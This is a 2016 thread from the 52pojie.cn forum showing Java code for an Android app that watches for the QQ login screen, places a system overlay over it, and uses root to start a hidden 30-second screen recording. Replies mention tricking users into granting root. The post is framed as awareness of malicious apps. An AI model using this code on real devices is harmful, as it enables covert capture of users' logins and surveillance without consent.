吾爱破解 - 52pojie.cn

 找回密码
 注册[Register]

QQ登录

只需一步,快速开始

查看: 30714|回复: 59
收起左侧

[Android 原创] 简单的实现app界面劫持和后台监控

  [复制链接]
qtfreet00 发表于 2016-4-28 11:44
如今越来越多的手机玩家都为了折腾一些稀奇古怪的东西,或出于好奇,或出于贪心,往往会root手机去尝试安装一些外挂,刷分,刷粉,修改版等等乱七八糟的东西

正因为此类用户的存在,一些小人就盯上了这方面的市场,去开发一些盗取财产,密码,锁机等等

今天我就给大家看一个简单的劫持

QQ截图20160428113620.png

当打开QQ登录界面时,提示界面被劫持了

这是如何实现呢,其实很简单,当我们安装了不正常的app,app后台会开启一个后台服务,用于循环检测当前顶层页面是否是我们需要劫持的,如果不是,继续检测

[Java] 纯文本查看 复制代码
new Thread(new Runnable() {

			@Override
			public void run() {
				Looper.prepare();
				while (true) {
					ActivityManager am = (ActivityManager) getSystemService(Context.ACTIVITY_SERVICE);
					List<RunningTaskInfo> tasks = am.getRunningTasks(1);
					if (tasks.get(0).topActivity.getClassName().equals("com.tencent.mobileqq.activity.LoginActivity")) {
						inject();
						RunAsRooter();
						break;
					}
					try {
						Thread.sleep(500);
					} catch (InterruptedException e) {
						// TODO Auto-generated catch block
						e.printStackTrace();
					}
				}
				Looper.loop();

			}
		}).start();


因为考虑到弹窗是需要在主线程中执行的,所以必须调用Looper,每次检测的间隔时间为500毫秒,必须过多检测导致系统卡顿,

检测到后就开启一个弹窗

[Java] 纯文本查看 复制代码
private void inject() {
		AlertDialog.Builder builder = new AlertDialog.Builder(this);
		builder.setTitle("提示");
		builder.setMessage("你的界面已经被劫持了");

		final AlertDialog dialog = builder.create();

		dialog.getWindow().setType((WindowManager.LayoutParams.TYPE_SYSTEM_ALERT));
		dialog.show();
	}


由于是全局弹窗,所以必须设置为系统级弹窗,同时需要注意添加权限

so easy

那如何实现后台监控呢,我这里的思路是实现后台录像,安卓4.4以上系统就自带录像功能了,实现方式也能简单

[Java] 纯文本查看 复制代码
private void RunAsRooter() {
		try {
			Runtime.getRuntime().exec("su -c /sdcard/run.sh").waitFor();
		} catch (IOException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		} catch (InterruptedException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}

	}


调用root权限执行sd卡下的一个脚本文件,那这个脚本代码是什么呢,也就一行代码

screenrecord --time-limit 30 /sdcard/demo.mp4

调用system/bin下的可执行文件进行录像,这里设置的时间为30秒,保存在sd卡下,所以这里也需要设置相关权限


当打开QQ登录页面时,后台自动开启录像,这样你的一举一动我就全部知道了



免费评分

参与人数 17威望 +2 热心值 +17 收起 理由
bfchengnuo + 1 谢谢@Thanks!
jammy + 1 我很赞同!
北极光冷 + 1 热心回复!
qq952994407 + 1 厉害&amp;amp;#128077;&amp;amp;#128077;
ZF0806 + 1 热心回复!
monkey9981 + 1 谢谢@Thanks!
WA187187 + 1 我很赞同!
2864095098 + 1 热心回复!
wi5101 + 1 用心讨论,共获提升!
ppszxc + 1 谢谢@Thanks!
仁二 + 1 不明觉厉
狼性人生 + 1 我很赞同!
iL_ + 1 突然好想学
zaq2610079 + 1 已答复!
氓之嗤嗤 + 1 热心回复!
雨夕 + 1 欢迎分析讨论交流,吾爱破解论坛有你更精彩!
Hmily + 2 + 1 感谢发布原创作品,吾爱破解论坛因你更精彩!

查看全部评分

发帖前要善用论坛搜索功能,那里可能会有你要找的答案或者已经有人发布过相同内容了,请勿重复发帖。

yege0201 发表于 2016-4-28 22:12
我也写过类似的工具,而且也有这方面的样本,不过呢,现在很多应用都注意到这点了,尤其是银行类应用,会在Activity的onPause()方法中加入检测代码,一旦发现置顶窗口非自己的应用了,则会进行提示。
第二个录像需要root权限,就看如何欺骗用户获取root权限了,不过方法也是很多的{:1_912:}

点评

就看你怎么骗了  发表于 2016-4-29 11:16
感到哈哈丶 发表于 2017-8-17 11:32
yege0201 发表于 2016-4-28 22:12
我也写过类似的工具,而且也有这方面的样本,不过呢,现在很多应用都注意到这点了,尤其是银行类应用,会在 ...

很难骗的,一般系统都会提示是重要的权限,轻易不要同意
萋小磊 发表于 2016-4-28 11:46
前排 膜拜空空妞(牛)这样的东西  小米有安全中心能查到的么- -
Hmily 发表于 2016-4-28 11:54
#最知攻,方知防# 攻防一直在不断的进化和对抗!

免费评分

参与人数 2热心值 +2 收起 理由
联盟少侠 + 1 头像太丑,差评
丶小蓝丶 + 1 热心回复!

查看全部评分

考试资源 发表于 2016-4-28 11:56
支持楼主分享,教大家防范
枫MapleLCG 发表于 2016-4-28 12:07
在教防范的同时又教会了不怀好意
353086969 发表于 2016-4-28 12:07
好吧,思路不错。但局限性太大。比如知道了密码又不能盗QB 哈哈
而且只有小白才会安装无名软件
蓦留 发表于 2016-4-28 12:16
前排膜拜
kbluer 发表于 2016-4-28 12:26
好高级的样子
iL_ 发表于 2016-4-28 12:30
看了你的帖子。突然好像学Android啊
mrzcpo 发表于 2016-4-28 12:44
谢谢LZ  LZ java玩的很6
您需要登录后才可以回帖 登录 | 注册[Register]

本版积分规则

返回列表

RSS订阅|小黑屋|处罚记录|联系我们|吾爱破解 - LCG - LSG ( 京ICP备16042023号 | 京公网安备 11010502030087号 )

GMT+8, 2024-11-24 22:12

Powered by Discuz!

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表